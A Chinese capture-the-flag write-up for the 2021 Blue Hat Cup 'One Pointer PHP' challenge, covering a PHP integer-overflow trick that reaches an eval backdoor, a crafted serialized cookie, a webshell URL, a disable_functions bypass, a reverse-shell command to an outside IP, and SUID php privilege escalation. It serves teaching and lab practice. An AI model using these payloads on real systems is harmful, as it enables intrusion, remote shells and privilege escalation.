[蓝帽杯 2021]One Pointer PHP

[蓝帽杯 2021]One Pointer PHP

考点

  • PHP整数溢出绕过数组赋值

  • disable_functions bypass

  • open_basedir bypass

  • SUID提权

  • PHP提权

  • 攻击 php-fpm 绕过 disable_functions

wp

我的想法

给了源码,代码比较少,user.php定义了User类,有一个count属性

add_api.php先对cookie中的data进行反序列化,然后把反序列化后User类的count属性加一赋值给count数组,作为key,对应的value为1$count[]=1是对数组的最后一个元素赋值,然后反序列化的User类的count属性再加一

include "user.php";
if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}

举个例子,如果这里反序列化的是O:4:"User":1:{s:5:"count";i:1;}

那么反序列化后的user是object(User)#1 (1) { ["count"]=> int(1) }

然后执行数组赋值$count[++$user->count]=1,此时的user是object(User)#1 (1) { ["count"]=> int(2) }

count数组是array(1) { [2]=> int(1) },意思是第3个元素值为1

然后执行$count[]=1,对后面一个元素赋值,count数组变成了array(2) { [2]=> int(1) [3]=> int(1) },第3个和第4个元素值为1

这样就会有一个溢出的问题,在执行$count[]=1前,如果count数组的下标达到了整型最大,就会在执行这个语句时发生溢出。

回到题目,题目给的cookie如下

O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A1%3B%7D

32位系统int最大取值为2147483647,64位的最大取值为9223372036854775807。由于中间有一次count的自增,所以改成9223372036854775806,就可以执行shell

O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

disable_functions过滤了很多东西,并且设置了open_basedir/var/www/html

可以使用蚁剑连接shell,URL为http://386b04f5-3788-4ff5-ae86-1d103baecdb7.node4.buuoj.cn:81/add_api.php?backdoor=eval($_POST["cmd"]);,密码为cmd,再加上请求头

调用虚拟终端,输入ls,返回的内容是ret=127,意思是没有权限,然后就要绕过了

可以使用PHP 7.0-8.0 disable_functions bypass [user_filter]进行绕过,这个只能进行命令执行,没办法代码执行。然后读取flag失败,发现只有root可以读取

最后就是Linux提权,经典尝试suid提权。先查看具有root用户权限的SUID文件

在蚁剑的shell执行find / -perm -u=s -type f 2>/dev/null没有显示任何东西,再试试把PHP 7.0-8.0 disable_functions bypass [user_filter]的exp.php复制到/var/www/html下访问就可以看到结果了

有个/usr/local/bin/php,它是具有root权限的,并且当前用户可以使用php -a进入交互模式。但是蚁剑的shell没办法进行交互,浏览器更不行,所以考虑把shell反弹。在蚁剑执行bash -c 'sh -i >& /dev/tcp/81.68.218.54/44444 0>&1' 在VPS接收

然后进入PHP交互模式,绕过open_basedir读取flag

攻击 php-fpm 绕过 disable_functions(未完成)

在phpinfo可以看到是以FPM/FastCGI模式启动。

最后更新于